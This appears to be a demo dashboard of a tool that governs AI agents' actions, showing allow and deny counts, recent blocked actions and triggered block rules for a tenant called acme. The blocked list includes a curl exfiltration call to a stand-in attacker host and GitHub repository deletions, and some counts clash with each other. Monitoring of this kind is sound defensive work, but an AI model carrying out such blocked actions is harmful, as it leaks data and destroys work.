Dashboard
Activity overview for acme
Active Agents
60
4 environments
Actions Recorded
100
In current window
Allowed
90
90.0%
Blocked
10
10.0% deny rate
Recent Blocks
Latest 5 denied decisions| Decision | Vendor | Operation | Agent | When |
|---|---|---|---|---|
| DENY | http | POST /services/T02QU5QGT8B/B0B0TSBK2Q5/vfnh3NMwbettnuNDPjTRgprO | cordon-toxic-chain-demo | 2d ago |
| DENY | github | DELETE /repos/acme/widget | cordon-toxic-chain-demo | 2d ago |
| DENY | http | POST /services/T_FAKE/B_FAKE/FAKE_PLACEHOLDER | cordon-toxic-chain-demo | 5d ago |
| DENY | github | DELETE /repos/acme/widget | cordon-toxic-chain-demo | 5d ago |
| DENY | subprocess | curl https://evil.example/exfil | jira-bot | 5d ago |
Top Triggered Rules
By recent deny count| Rule | Hits |
|---|---|
| block-network-cli-shellout | 3 |
| block-secret-exfiltration | 2 |
| block-github-repo-delete | 2 |
| block-aws-terminate | 1 |
| block-github-ref-rewrite | 1 |
Most Active Agents
By total recorded actions| Agent | Environment | Actions | Blocked | Last Seen |
|---|---|---|---|---|
| dbt-corp-it | dev | 41 | 1 | 5d ago |
| claude-incident-responder | prod | 40 | 24 | 5d ago |
| spark-job-91 | prod | 39 | 3 | 5d ago |
| zendesk-bot-payments | dev | 38 | 1 | 5d ago |
| windsurf-umi | prod | 38 | 2 | 5d ago |